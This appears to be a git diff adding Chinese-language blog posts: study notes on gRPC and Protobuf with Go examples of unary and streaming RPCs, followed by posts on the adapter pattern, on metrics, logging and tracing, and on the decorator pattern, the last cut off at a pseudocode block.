文件后,我们一般会进行编译和生成对应语言的 proto 文件操作,这个时候 Protobuf 的编译器会根据选择的语言不同、调用的插件情况,生成相应语言的 Service Interface Code 和 Stubs。 + +### 基本数据类型 + +在生成了对应语言的 proto 文件后,需要注意的是 protobuf 所生成出来的数据类型并非与原始的类型完全一致,因此需要有一个基本的了解,下面是我列举了的一些常见的类型映射,如下表: + +| .proto Type | C++ Type | Java Type | Go Type | PHP Type | +| ----------- | -------- | ---------- | ------- | -------------- | +| double | double | double | float64 | float | +| float | float | float | float32 | float | +| int32 | int32 | int | int32 | integer | +| int64 | int64 | long | int64 | integer/string | +| uint32 | uint32 | int | uint32 | integer | +| uint64 | uint64 | long | uint64 | integer/string | +| sint32 | int32 | int | int32 | integer | +| sint64 | int64 | long | int64 | integer/string | +| fixed32 | uint32 | int | uint32 | integer | +| fixed64 | uint64 | long | uint64 | integer/string | +| sfixed32 | int32 | int | int32 | integer | +| sfixed64 | int64 | long | int64 | integer/string | +| bool | bool | boolean | bool | boolean | +| string | string | String | string | string | +| bytes | string | ByteString | []byte | string | + +## 4.gRPC 与 RESTful API 对比 + +| 特性 | gRPC | RESTful API | +| ---------- | ---------------------- | -------------------- | +| 规范 | 必须.proto | 可选 OpenAPI | +| 协议 | HTTP/2 | 任意版本的 HTTP 协议 | +| 有效载荷 | Protobuf(小、二进制) | JSON(大、易读) | +| 浏览器支持 | 否(需要 grpc-web) | 是 | +| 流传输 | 客户端、服务端、双向 | 客户端、服务端 | +| 代码生成 | 是 | OpenAPI+ 第三方工具 | + +#### 性能 + +gRPC 使用的 IDL 是 Protobuf,Protobuf 在客户端和服务端上都能快速地进行序列化,并且序列化后的结果较小,能够有效地节省传输占用的数据大小。另外众多周知,gRPC 是基于 HTTP/2 协议进行设计的,有非常显著的优势。 + +另外常常会有人问,为什么是 Protobuf,为什么 gRPC 不用 JSON、XML 这类 IDL 呢,我想主要有如下原因: + +- 在定义上更简单,更明了。 +- 数据描述文件只需原来的 1/10 至 1/3。 +- 解析速度是原来的 20 倍至 100 倍。 +- 减少了二义性。 +- 生成了更易使用的数据访问类。 +- 序列化和反序列化速度快。 +- 开发者本身在传输过程中并不需要过多的关注其内容。 + +#### 代码生成 + +在代码生成上,我们只需要一个 proto 文件就能够定义 gRPC 服务和消息体的约定,并且 gRPC 及其生态圈提供了大量的工具从 proto 文件中生成服务基类、消息体、客户端等等代码,也就是客户端和服务端共用一个 proto 文件就可以了,保证了 IDL 的一致性且减少了重复工作。 + +> **客户端和服务端共用一个 proto 文件** + +#### 流传输 + +gRPC 通过 HTTP/2 对流传输提供了大量的支持: + +1. Unary RPC:一元 RPC。 +2. Server-side streaming RPC:服务端流式 RPC。 +3. Client-side streaming RPC:客户端流式 RPC。 +4. Bidirectional streaming RPC:双向流式 RPC。 + +#### 超时和取消 + +并且根据 Go 语言的上下文(context)的特性,截止时间的传递是可以一层层传递下去的,也就是我们可以通过一层层 gRPC 调用来进行上下文的传播截止日期和取消事件,有助于我们处理一些上下游的连锁问题等等场景。 + +# Protobuf 的使用 + +### protoc 安装 + +``` +wget https://github.com/google/protobuf/releases/download/v3.11.2/protobuf-all-3.11.2.zip +$ unzip protobuf-all-3.11.2.zip && cd protobuf-3.11.2/ +$ ./configure +$ make +$ make install +``` + +##### protoc 插件安装 + +Go 语言就是 protoc-gen-go 插件 + +``` +go get -u github.com/golang/protobuf/protoc-gen-go@v1.3.2 +``` + +##### 将所编译安装的 Protoc Plu + +``` +mv $GOPATH/bin/protoc-gen-go /usr/local/go/bin/ +``` + +这里的命令操作并非是绝对必须的,主要目的是将二进制文件 protoc-gen-go 移动到 bin 目录下,让其可以直接运行 protoc-gen-go 执行,只要达到这个效果就可以了。 + +## 初始化 Demo 项目 + +在初始化目录结构后,新建 server、client、proto 目录,便于后续的使用,最终目录结构如下: + +``` +grpc-demo +├── go.mod +├── client +├── proto +└── server +``` + +##### 编译和生成 proto 文件 + +``` +syntax = "proto3"; + +package helloworld; + +service Greeter { + rpc SayHello (HelloRequest) returns (HelloReply) {} +} + +message HelloRequest { + string name = 1; +} + +message HelloReply { + string message = 1; +} +``` + +##### 生成 proto 文件 + +``` +$ protoc --go_out=plugins=grpc:. ./proto/*.proto +``` + +##### 生成的.pb.go 文件 + +``` +type HelloRequest struct { + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + ... +} + +func (m *HelloRequest) Reset() { *m = HelloRequest{} } +func (m *HelloRequest) String() string { return proto.CompactTextString(m) } +func (*HelloRequest) ProtoMessage() {} +func (*HelloRequest) Descriptor() ([]byte, []int) { + return fileDescriptor_4d53fe9c48eadaad, []int{0} +} +func (m *HelloRequest) GetName() string {...} +``` + + HelloRequest 类型,其包含了一组 Getters 方法,能够提供便捷的取值方式,并且处理了一些空指针取值的情况,还能够通过 Reset 方法来重置该参数。而该方法通过实现 ProtoMessage 方法,以此表示这是一个实现了 proto.Message 的接口。另外 HelloReply 类型也是类似的生成结果,因此不重复概述。 + +接下来我们看到.pb.go 文件的初始化方法,其中比较特殊的就是 fileDescriptor 的相关语句,如下: + +``` +func init() { + proto.RegisterType((*HelloRequest)(nil), "helloworld.HelloRequest") + proto.RegisterType((*HelloReply)(nil), "helloworld.HelloReply") +} + +func init() { proto.RegisterFile("proto/helloworld.proto", fileDescriptor_4d53fe9c48eadaad) } + +var fileDescriptor_4d53fe9c48eadaad = []byte{ + 0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0xe2, 0x12, 0x2b, 0x28, 0xca, 0x2f, + ... +} +``` + +`fileDescriptor_4d53fe9c48eadaad` 表示的是一个经过编译后的 proto 文件,是对 proto 文件的整体描述,其包含了 proto 文件名、引用(import)内容、包(package)名、选项设置、所有定义的消息体(message)、所有定义的枚举(enum)、所有定义的服务( service)、所有定义的方法(rpc method)等等内容,可以认为就是整个 proto 文件的信息都能够取到。 + +同时在我们的每一个 Message Type 中都包含了 Descriptor 方法,Descriptor 代指对一个消息体(message)定义的描述,而这一个方法则会在 fileDescriptor 中寻找属于自己 Message Field 所在的位置再进行返回,如下: + +``` +func (*HelloRequest) Descriptor() ([]byte, []int) { + return fileDescriptor_4d53fe9c48eadaad, []int{0} +} + +func (*HelloReply) Descriptor() ([]byte, []int) { + return fileDescriptor_4d53fe9c48eadaad, []int{1} +} +``` + +接下来我们再往下看可以看到 GreeterClient 接口,因为 Protobuf 是客户端和服务端可共用一份.proto 文件的,因此除了存在数据描述的信息以外,还会存在客户端和服务端的相关内部调用的接口约束和调用方式的实现,在后续我们在多服务内部调用的时候会经常用到,如下: + +``` +type GreeterClient interface { + SayHello(ctx context.Context, in *HelloRequest, opts ...grpc.CallOption) (*HelloReply, error) +} +``` + +``` +type greeterClient struct { + cc *grpc.ClientConn +} +``` + +``` +func NewGreeterClient(cc *grpc.ClientConn) GreeterClient { + return &greeterClient{cc} +} +``` + +``` +func (c *greeterClient) SayHello(ctx context.Context, in *HelloRequest, opts ...grpc.CallOption) (*HelloReply, error) { + out := new(HelloReply) + err := c.cc.Invoke(ctx, "/helloworld.Greeter/SayHello", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} +``` + +## 更多的类型支持 + +### 通用类型 + +在 Protobuf 中一共支持 double、float、int32、int64、uint32、uint64、sint32、sint64、fixed32、fixed64、sfixed32、sfixed64、bool、string、bytes 类型 + +``` +message HelloRequest { + bytes name = 1; +} +``` + +另外我们常常会遇到需要传递动态数组的情况,在 protobuf 中,我们可以使用 repeated 关键字,如果一个字段被声明为 repeated,那么该字段可以重复任意次(包括零次),重复值的顺序将保留在 protobuf 中,将重复字段视为动态大小的数组,如下: + +``` +message HelloRequest { + repeated string name = 1; +} +``` + +### 嵌套类型 + +``` +message HelloRequest { + message World { + string name = 1; + } + + repeated World worlds = 1; +} +``` + +``` +message World { + string name = 1; +} + +message HelloRequest { + repeated World worlds = 1; +} +``` + +第一种是将 World 消息体定义在 HelloRequest 消息体中,也就是其归属在消息体 HelloRequest 下,若要调用则需要使用 `HelloRequest.World` 的方式,外部才能引用成功。 + +第二种是将 World 消息体定义在外部,一般比较推荐使用这种方式,清晰、方便。 + +### Oneof + +如果希望的消息体可以包含多个字段,但前提条件是最多同时只允许设置一个字段,那么就可以使用 oneof 关键字来实现这个功能,如下: + +``` +message HelloRequest { + oneof name { + string nick_name = 1; + string true_name = 2; + } +} +``` + +### Enum + +``` +enum NameType { + NickName = 0; + TrueName = 1; +} + +message HelloRequest { + string name = 1; + NameType nameType = 2; +} +``` + +### Map + +``` +message HelloRequest { + map names = 2; +} +``` + +# gRPC + +### gRPC 的四种调用方式 + +1. Unary RPC:一元 RPC。 + +2. Server-side streaming RPC:服务端流式 RPC。 + +3. Client-side streaming RPC:客户端流式 RPC。 + +4. Bidirectional streaming RPC:双向流式 RPC。 + + 不同的调用方式往往代表着不同的应用场景,我们接下来将一同深入了解各个调用方式的实现和使用场景,在下述代码中,我们统一将项目下的 proto 引用名指定为 pb,并设置端口号都由外部传入,如下: + +``` +import ( + ... + // 设置引用别名 + pb "github.com/go-programming-tour-book/grpc-demo/proto" +) + +var port string + +func init() { + flag.StringVar(&port, "p", "8000", "启动端口号") + flag.Parse() +} +``` + +我们下述的调用方法都是在 `server` 目录下的 server.go 和 `client` 目录的 client.go 中完成,需要注意的该两个文件的 package 名称应该为 main(IDE 默认会创建与目录名一致的 package 名称),这样子的 main 方法才能够被调用,并且在**本章中我们的 proto 引用都会以引用别名 pb 来进行调用**。 + +### Unary RPC:一元 RPC + +一元 RPC,也就是是单次 RPC 调用,简单来讲就是客户端发起一次普通的 RPC 请求,响应,是最基础的调用类型,也是最常用的方式,大致如图: + +![image](https://i.imgur.com/Z3V3hl1.png) + +#### Proto + +``` +rpc SayHello (HelloRequest) returns (HelloReply) {}; +``` + +#### Server + +``` +type GreeterServer struct{} + +func (s *GreeterServer) SayHello(ctx context.Context, r *pb.HelloRequest) (*pb.HelloReply, error) { + return &pb.HelloReply{Message: "hello.world"}, nil +} + +func main() { + server := grpc.NewServer() + pb.RegisterGreeterServer(server, &GreeterServer{}) + lis, _ := net.Listen("tcp", ":"+port) + server.Serve(lis) +} +``` + +- **创建 gRPC Server 对象,可以理解为它是 Server 端的抽象对象。** +- **将 GreeterServer(其包含需要被调用的服务端接口)注册到 gRPC Server。 的内部注册中心。这样可以在接受到请求时,通过内部的 “服务发现”,发现该服务端接口并转接进行逻辑处理。** +- **创建 Listen,监听 TCP 端口。** +- **gRPC Server 开始 lis.Accept,直到 Stop 或 GracefulStop。** + +#### Client + +``` +func main() { + conn, _ := grpc.Dial(":"+port, grpc.WithInsecure()) + defer conn.Close() + + client := pb.NewGreeterClient(conn) + _ = SayHello(client) +} + +func SayHello(client pb.GreeterClient) error { + resp, _ := client.SayHello(context.Background(), &pb.HelloRequest{Name: "eddycjy"}) + log.Printf("client.SayHello resp: %s", resp.Message) + return nil +} +``` + +What is important? + +- ``` + pb.NewGreeterClient() + pb.RegisterGreetServer() + //也就是说Protobuf 及其编译工具的使用 就是为我们自动生成这个两个函数 + ``` + +- ``` + pb.NewGreeterClient() 需要一个grpc.Dial(":"+port, grpc.WithInsecure())客户端作为参数 + ``` + +- ``` + pb.RegisterGreetServer() 不仅需要一个grpc.NewServer()服务端,还需要自己抽象出的服务端,&GreeterServer{} + ``` + +### Server-side streaming RPC:服务端流式 RPC + +> 简单来讲就是客户端发起一次普通的 RPC 请求,服务端通过流式响应多次发送数据集,客户端 Recv 接收数据集。大致如图: + +![image](https://i.imgur.com/W7g3kSC.png) + +#### Proto + +```protobuf +rpc SayList (HelloRequest) returns (stream HelloReply) {}; +``` + +#### Server + +``` +func (s *GreeterServer) SayList(r *pb.HelloRequest, stream pb.Greeter_SayListServer) error { + for n := 0; n <= 6; n++ { + _ = stream.Send(&pb.HelloReply{Message: "hello.list"}) + } + return nil +} +``` + +在 Server 端,主要留意 `stream.Send` 方法,通过阅读源码,可得知是 protoc 在生成时,根据定义生成了各式各样符合标准的接口方法。最终再统一调度内部的 `SendMsg` 方法,该方法涉及以下过程: + +- 消息体(对象)序列化。 +- 压缩序列化后的消息体。 +- 对正在传输的消息体增加 5 个字节的 header(标志位)。 +- 判断压缩 + 序列化后的消息体总字节长度是否大于预设的 maxSendMessageSize(预设值为 `math.MaxInt32`),若超出则提示错误。 +- 写入给流的数据集。 + +#### Client + +``` +func SayList(client pb.GreeterClient, r *pb.HelloRequest) error { + stream, _ := client.SayList(context.Background(), r) + for { + resp, err := stream.Recv() + if err == io.EOF { + break + } + if err != nil { + return err + } + + log.Printf("resp: %v", resp) + } + + return nil +} +``` + +#### what is important? + +``` +service Greeter { + rpc SayHello (HelloRequest) returns (HelloReply) {} + rpc SayList (HelloRequest) returns (stream HelloReply) {}; +} + +type GreeterServer struct{} + +func (s *GreeterServer) SayList(r *pb.HelloRequest, stream pb.Greeter_SayListServer) error { + for n := 0; n <= 6; n++ { + _ = stream.Send(&pb.HelloReply{Message: "hello.list"}) + } + return nil +} + +func (s *GreeterServer) SayHello(ctx context.Context, r *pb.HelloRequest) (*pb.HelloReply, error) { + return &pb.HelloReply{Message: "hello.world"}, nil +} + +//服务端调用的是 pb.Greeter_SayListServer.Send() +//客户端调用的是 pb.GreeterClient.SayList() + +``` + +1. service Greeter 对应 `pb.ResisterGreetService()` +2. 调用`pb.ResisterGreetService()`注册 GreeterServer{} +3. SayList 实际调用 pb.Greeter_SayListServer.Send()来实现流输出. +4. SayHello实际调用 `func (s *GreeterServer) SayHello(ctx context.Context, r *pb.HelloRequest) (*pb.HelloReply, error) {` + `return &pb.HelloReply{Message: "hello.world"}, nil` + `}`函数直接写入 + +``` +service Greeter { + rpc SayHello (HelloRequest) returns (HelloReply) {} + rpc SayList (HelloRequest) returns (stream HelloReply) {}; +} +``` + +``` +type greeterClient struct { + cc *grpc.ClientConn +} +``` + +``` +func NewGreeterClient(cc *grpc.ClientConn) GreeterClient { + return &greeterClient{cc} +} +``` + +``` +func (c *greeterClient) SayHello(ctx context.Context, in *HelloRequest, opts ...grpc.CallOption) (*HelloReply, error) { + out := new(HelloReply) + err := c.cc.Invoke(ctx, "/helloworld.Greeter/SayHello", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} +``` + +``` +func (c *greeterClient) SayHello(ctx context.Context, in *HelloRequest, opts ...grpc.CallOption) (*HelloReply, error) { + out := new(HelloReply) + err := c.cc.Invoke(ctx, "/helloworld.Greeter/SayHello", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} +``` + +``` +func (c *greeterClient) SayList(ctx context.Context, in *HelloRequest, opts ...grpc.CallOption) (*HelloReply, error) { + out := new(HelloReply) + err := c.cc.Invoke(ctx, "/helloworld.Greeter/SayHello", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +``` + +``` +func (h *HelloReply) Recv(){ + //是对ClientStream.RecvMsg()的封装 + //RecvMsg 方法会从流中读取完整的 gRPC 消息体 +} +``` + +- `SayHello()`调用`greeterClient.cc.Invoke` 实际是`grpc.ClientConn.Invoke` + +``` +type greeterClient struct { + cc *grpc.ClientConn +} +``` + +- `SayList()`调用`ClientStream.RecvMsg()` + +### Client-side streaming RPC:客户端流式 RPC + +> 客户端流式 RPC,单向流,客户端通过流式发起**多次** RPC 请求给服务端,服务端发起**一次**响应给客户端,大致如图: + +![image](https://i.imgur.com/e60IAxT.png) + +#### Proto + +``` +rpc SayRecord(stream HelloRequest) returns (HelloReply) {}; +``` + +#### Server + +``` +func (s *GreeterServer) SayRecord(stream pb.Greeter_SayRecordServer) error { + for { + resp, err := stream.Recv() + if err == io.EOF { + return stream.SendAndClose(&pb.HelloReply{Message:"say.record"}) + } + if err != nil { + return err + } + + log.Printf("resp: %v", resp) + } + + return nil +} +``` + +#### Client + +``` +func SayRecord(client pb.GreeterClient, r *pb.HelloRequest) error { + stream, _ := client.SayRecord(context.Background()) + for n := 0; n < 6; n++ { + _ = stream.Send(r) + } + resp, _ := stream.CloseAndRecv() + + log.Printf("resp err: %v", resp) + return nil +} +``` + +在 Server 端的 `stream.SendAndClose`,与 Client 端 `stream.CloseAndRecv` 是配套使用的方法。 + +### Bidirectional streaming RPC:双向流式 RPC + +> 双向流式 RPC,顾名思义是双向流,由客户端以流式的方式发起请求,服务端同样以流式的方式响应请求。 +> +> 首个请求一定是 Client 发起,但具体交互方式(谁先谁后、一次发多少、响应多少、什么时候关闭)根据程序编写的方式来确定(可以结合协程)。 +> +> 假设该双向流是**按顺序发送**的话,大致如图: + +![image](https://i.imgur.com/DCcxwfj.png) + +#### Proto + +``` +rpc SayRoute(stream HelloRequest) returns (stream HelloReply) {}; +``` + +#### Server + +``` +func (s *GreeterServer) SayRoute(stream pb.Greeter_SayRouteServer) error { + n := 0 + for { + _ = stream.Send(&pb.HelloReply{Message: "say.route"}) + + resp, err := stream.Recv() + if err == io.EOF { + return nil + } + if err != nil { + return err + } + + n++ + log.Printf("resp: %v", resp) + } +} +``` + +#### Client + +``` +func SayRoute(client pb.GreeterClient, r *pb.HelloRequest) error { + stream, _ := client.SayRoute(context.Background()) + for n := 0; n <= 6; n++ { + _ = stream.Send(r) + resp, err := stream.Recv() + if err == io.EOF { + break + } + if err != nil { + return err + } + + log.Printf("resp err: %v", resp) + } + + _ = stream.CloseSend() + + return nil +} +``` + diff --git a/_posts/2022-07-14-test-markdown.md b/_posts/2022-07-14-test-markdown.md new file mode 100644 index 000000000000..02d2b7757bd4 --- /dev/null +++ b/_posts/2022-07-14-test-markdown.md @@ -0,0 +1,89 @@ +--- +layout: post +title: 适配器模式 +subtitle: 亦称 封装器模式、Wrapper、Adapter +tags: [设计模式] +--- + +# 适配器模式 + +> **亦称:** 封装器模式、Wrapper、Adapter + +**适配器模式**是一种结构型设计模式, 它能使接口不兼容的对象能够相互合作。 + +![适配器设计模式](https://refactoringguru.cn/images/patterns/content/adapter/adapter-zh.png) + +假如正在开发一款股票市场监测程序, 它会从不同来源下载 XML 格式的股票数据, 然后向用户呈现出美观的图表。在开发过程中, 决定在程序中整合一个第三方智能分析函数库。 但是遇到了一个问题, 那就是分析函数库只兼容 JSON 格式的数据。 + +![整合分析函数库之前的程序结构](https://refactoringguru.cn/images/patterns/diagrams/adapter/problem-zh.png) + +可以修改程序库来支持 XML。 但是, 这可能需要修改部分依赖该程序库的现有代码。 甚至还有更糟糕的情况, 可能根本没有程序库的源代码, 从而无法对其进行修改。 + +## 解决 + +创建一个*适配器*。 这是一个特殊的对象, 能够转换对象接口, 使其能与其他对象进行交互。 + +适配器模式通过**封装对象**将复杂的转换过程隐藏于幕后。 **被封装的对象**甚至察觉不到适配器的存在。 + +适配器不仅可以转换不同格式的数据, 其还有助于**不同接口的对象之间的合作**。 它的运作方式如下: + +1. **适配器实现**与其中一个**现有对象**兼容**的接口**。 +2. **现有对象**可以使用该接口安全地调用适配器方法。 +3. **适配器方法被调用**后将以另一个对象兼容的格式和顺序将请求传递给该对象。 + +有时甚至可以创建一个双向适配器来实现双向转换调用。 + +> 谁适配谁? A 适配 B 、B 是已经有的库和接口,然后我们去适配, 所以要找到 B 的接口 ,然后用我们需要的适配器去实现 B 的接口 ,适配器在实现B的接口的时候,要做的事就是 在 B的接口对应的函数里面,调用适配器对应的想要调用的函数,那么具体适配器想要调用的函数具体是什么就要看 想要让 A 如何去适配 B ,如果 A 适配 B 我这里的A 是一系列自己写的函数,那么适配器就搞个函数类型去适配 B ,如果我这里是一堆对象想要去适配 B 那么我就写个适配器对象。第一种在http编程里面有很好的体现。 + +``` +//golang 的标准库 net/http 提供了 http 编程有关的接口,封装了内部TCP连接和报文解析的复杂琐碎的细节,使用者只需要和 http.request 和 http.ResponseWriter 两个对象交互就行。也就是说,我们只要写一个 handler,请求会通过参数传递进来,而它要做的就是根据请求的数据做处理,把结果写到 Response 中。 + +package main + +import ( + "io" + "net/http" +) + +type helloHandler struct{} + +func (h *helloHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + w.Write([]byte("Hello, world!")) +} + +func main() { + http.Handle("/", &helloHandler{}) + http.ListenAndServe(":12345", nil) +} +// helloHandler实现了 ServeHTTP 方法 +// 只要实现了 ServeHTTP 方法的对象都可以作为 Handler 传给http.Handle() +``` + +``` +//接口原型 +type Handler interface { + ServeHTTP(ResponseWriter, *Request) +} +``` + +``` +//不便:每次写 Handler 的时候,都要定义一个类型,然后编写对应的 ServeHTTP 方法 + +//提供了 http.HandleFunc 方法,允许直接把特定类型的函数作为 handler +//怎么做的 +// The HandlerFunc type is an adapter to allow the use of +// ordinary functions as HTTP handlers. If f is a function +// with the appropriate signature, HandlerFunc(f) is a +// Handler object that calls f. +type HandlerFunc func(ResponseWriter, *Request) + +// ServeHTTP calls f(w, r). +func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) +} + +``` + +**`type HandlerFunc func(ResponseWriter, *Request) ` 就是一个适配器** + +自动给 `f` 函数添加了 `HandlerFunc` 这个壳,最终调用的还是 `ServerHTTP`,只不过会直接使用 `f(w, r)`。这样封装的好处是:使用者可以专注于业务逻辑的编写,省去了很多重复的代码处理逻辑。如果只是简单的 Handler,会直接使用函数;如果是需要传递更多信息或者有复杂的操作,会使用上部分的方法。 \ No newline at end of file diff --git a/_posts/2022-07-15-test-markdown.md b/_posts/2022-07-15-test-markdown.md new file mode 100644 index 000000000000..3b5774610a02 --- /dev/null +++ b/_posts/2022-07-15-test-markdown.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 关于Metrics, tracing, and logging 的不同 +subtitle: 从本质来看........ +tags: [Metric] +--- +# 关于Metrics, tracing, and logging 的不同 + +![带注释的维恩图](https://peter.bourgon.org/img/instrumentation/01.png) + +## 1.`metrics` + +我认为`metrics`的定义特征是它们是可聚合`aggregatable`的:它们是在一段时间内组成单个逻辑量规、计数器或直方图的原子。例如:队列的当前深度可以建模为一个计量器,其更新与 last-writer-win 语义聚合;传入的 HTTP 请求的数量可以建模为一个计数器,其更新通过简单的加法聚合;并且观察到的请求持续时间可以建模为直方图,其更新聚合到时间桶中并产生统计摘要。 + + + +## 2.`logging ` + +我认`logging` 的定义特征是它处理离散事件。例如:应用程序调试或错误消息通过logs实例发送到 终端或者文件流输出。审计跟踪`audit-trail`事件通过 Kafka 推送到 BigTable 等数据湖;或从服务调用中提取的特定于请求的元数据并发送到像 NewRelic 这样的错误跟踪服务。 + +## 3.` tracking ` + +我认为 tracking 的唯一定义特征**是**它处理请求范围内的信息。可以绑定到系统中单个事务对象的生命周期的任何数据或元数据。例如:出站 `RPC` 到远程服务的持续时间;发送到数据库的实际 `SQL` 查询的文本;或入站 HTTP 请求的相关 ID。 + +通过这些定义,我们可以标记重叠部分。 + +![修正的、带注释的维恩图](https://peter.bourgon.org/img/instrumentation/02.png) + +当然,云原生应用程序的许多典型工具最终都将是请求范围的,因此在更广泛的跟踪上下文中讨论可能是有意义的。但是我们现在可以观察到,并非*所有*仪器都绑定到请求生命周期:例如逻辑组件诊断信息或流程生命周期细节,它们与任何离散请求正交。因此,例如,并非所有指标或日志都可以硬塞到跟踪系统中——至少,不是没有一些工作。或者,我们可能会意识到直接在我们的应用程序中检测指标会给我们带来强大的好处,比如]`prometheus.io/docs/querying/basics`估我们车队的实时视图;相比之下,将指标硬塞到日志管道中可能会迫使我们放弃其中的一些优势。 + +此外,我观察到一个奇怪的操作细节作为这种可视化的副作用。在这三个领域中,metrics往往需要最少的资源来管理,因为它们的本质是“压缩”得很好。相反,**logging**往往是压倒性的,经常超过它报告的生产流量。tracking可能位于中间的某个位置。 + +![带渐变的维恩图](https://peter.bourgon.org/img/instrumentation/03.png) \ No newline at end of file diff --git a/_posts/2022-07-16-test-markdown.md b/_posts/2022-07-16-test-markdown.md new file mode 100644 index 000000000000..a7a60e81c04f --- /dev/null +++ b/_posts/2022-07-16-test-markdown.md @@ -0,0 +1,463 @@ +--- +layout: post +title: 装饰器模式 +subtitle: 亦称: 装饰者模式、装饰器模式、Wrapper、Decorator +tags: [设计模式] +--- +# 装饰器模式 + +亦称: 装饰者模式、装饰器模式、Wrapper、Decorator + +![装饰设计模式](https://refactoringguru.cn/images/patterns/content/decorator/decorator.png) + +**装饰模式**是一种结构型设计模式, 允许通过将对象放入包含行为的特殊封装对象中来为原对象绑定新的行为。 + +- 对象放入包含行为的特殊封装对象 +- 特殊封装对象有新的行为 + +### 场景 + +假设正在开发一个提供通知功能的库, 其他程序可使用它向用户发送关于重要事件的通知。 + +库的最初版本基于 `通知器``Noti­fi­er`类, 其中只有很少的几个成员变量, 一个构造函数和一个 `send`发送方法。 该方法可以接收来自客户端的消息参数, 并将该消息发送给一系列的邮箱, 邮箱列表则是通过构造函数传递给通知器的。 作为客户端的第三方程序仅会创建和配置通知器对象一次, 然后在有重要事件发生时对其进行调用。此后某个时刻, 会发现库的用户希望使用除邮件通知之外的功能。 许多用户会希望接收关于紧急事件的手机短信, 还有些用户希望在微信上接收消息, 而公司用户则希望在 QQ 上接收消息。 + +![实现其他类型通知后的库结构](https://refactoringguru.cn/images/patterns/diagrams/decorator/problem2-zh.png) + +每种通知类型都将作为通知器的一个子类得以实现。 + +这有什么难的呢? 首先扩展 `通知器`类, 然后在新的子类中加入额外的通知方法。 现在客户端要对所需通知形式的对应类进行初始化, 然后使用该类发送后续所有的通知消息。 + +### 问题 + +但是很快有人会问: “为什么不同时使用多种通知形式呢? 如果房子着火了, 大概会想在所有渠道中都收到相同的消息吧。” + +可以尝试创建一个特殊子类来将多种通知方法组合在一起以解决该问题。 但这种方式会使得代码量迅速膨胀, 不仅仅是程序库代码, 客户端代码也会如此。 + +![创建组合类后的程序库结构](https://refactoringguru.cn/images/patterns/diagrams/decorator/problem3-zh.png) + +### 解决 + +- 当需要更改一个对象的行为时, 第一个跳入脑海的想法就是扩展它所属的类。 但是, 不能忽视继承可能引发的几个严重问题。 + +- 继承是静态的。 无法在运行时更改已有对象的行为, 只能使用由不同子类创建的对象来替代当前的整个对象。 + + 也就是说,不能更改`Wechat Notiifier`已有的行为,只能用`QQNotifier`来替换。 + + ``` + var notifier = new Notifier + notifier = Wechat Notiifier + //要更改行为 + notifier = QQ Notifier + ``` + +- 子类只能有一个父类。 大部分编程语言不允许一个类同时继承多个类的行为。 + +其中一种方法是用*聚合*或*组合* , 而不是*继承*。 两者的工作方式几乎一模一样: 一个对象*包含*指向另一个对象的引用, 并将部分工作委派给引用对象; 继承中的对象则继承了父类的行为, 它们自己*能够*完成这些工作。 + +可以使用这个新方法来轻松替换各种连接的 “小帮手” 对象, 从而能在运行时改变容器的行为。 一个对象可以使用多个类的行为, 包含多个指向其他对象的引用, 并将各种工作委派给引用对象。 聚合 (或组合) 组合是许多设计模式背后的关键原则 (包括装饰在内)。 记住这一点后, 让我们继续关于模式的讨论。 + +![继承与聚合的对比](https://refactoringguru.cn/images/patterns/diagrams/decorator/solution1-zh.png) + +*封装器*是装饰模式的别称, 这个称谓明确地表达了该模式的主要思想。 “封装器” 是一个能与其他 “目标” 对象连接的对象。 封装器包含与目标对象相同的一系列方法(与被封装对象实现相同的接口), 它会将所有接收到的请求委派给目标对象。 但是, 封装器可以在将请求委派给目标前后对其进行处理, 所以可能会改变最终结果。 + +那么什么时候一个简单的封装器可以被称为是真正的装饰呢? 正如之前提到的, 封装器实现了与其封装对象相同的接口。 因此从客户端的角度来看, 这些对象是完全一样的。 封装器中的引用成员变量可以是遵循相同接口的任意对象。 这使得可以将一个对象放入多个封装器中, 并在对象中添加所有这些封装器的组合行为。 + +- **封装器实现了与其封装对象相同的接口。 ** +- **将请求委派给目标前后对其进行处理** +- **封装器中的引用成员变量可以是遵循相同接口的任意对象。** +- 一个对象放入多个封装器中, 并在对象中添加所有这些封装器的组合行为 + +比如在消息通知示例中, 我们可以将简单邮件通知行为放在基类 `通知器`中, 但将所有其他通知方法放入装饰中。 + +![装饰模式解决方案](https://refactoringguru.cn/images/patterns/diagrams/decorator/solution2-zh.png) + +实际与客户端进行交互的对象将是最后一个进入栈中的装饰对象。 由于所有的装饰都实现了与通知基类相同的接口, 客户端的其他代码并不在意自己到底是与 “纯粹” 的通知器对象, 还是与装饰后的通知器对象进行交互。 + +我们可以使用相同方法来完成其他行为 (例如设置消息格式或者创建接收人列表)。 只要所有装饰都遵循相同的接口, 客户端就可以使用任意自定义的装饰来装饰对象。 + +![装饰模式示例](https://refactoringguru.cn/images/patterns/content/decorator/decorator-comic-1.png) + +穿衣服是使用装饰的一个例子。 觉得冷时, 可以穿一件毛衣。 如果穿毛衣还觉得冷, 可以再套上一件夹克。 如果遇到下雨, 还可以再穿一件雨衣。 所有这些衣物都 “扩展” 了的基本行为, 但它们并不是的一部分, 如果不再需要某件衣物, 可以方便地随时脱掉。 + +- “扩展” 了的基本行为, 但它们并不是的一部分. + +### 结构 + +![装饰设计模式的结构](https://refactoringguru.cn/images/patterns/diagrams/decorator/structure-indexed.png) + +1. **部件** (`Com­po­nent`) 声明封装器和被封装对象的公用接口。 +2. **具体部件** (Con­crete Com­po­nent) 类是被封装对象所属的类。 它定义了基础行为, 但装饰类可以改变这些行为。 +3. **基础装饰** (`Base Dec­o­ra­tor`) 类拥有一个指向被封装对象的引用成员变量。 该变量的类型应当被声明为通用部件接口, 这样它就可以引用具体的部件和装饰。 装饰基类会将所有操作委派给被封装的对象。 +4. **具体装饰类** (`Con­crete Dec­o­ra­tors`) 定义了可动态添加到部件的额外行为。 具体装饰类会重写装饰基类的方法, 并在调用父类方法之前或之后进行额外的行为。 +5. **客户端** (Client) 可以使用多层装饰来封装部件, 只要它能使用通用接口与所有对象互动即可。 + +### 伪代码 + +![装饰模式示例的结构](https://refactoringguru.cn/images/patterns/diagrams/decorator/example.png) + +``` +// 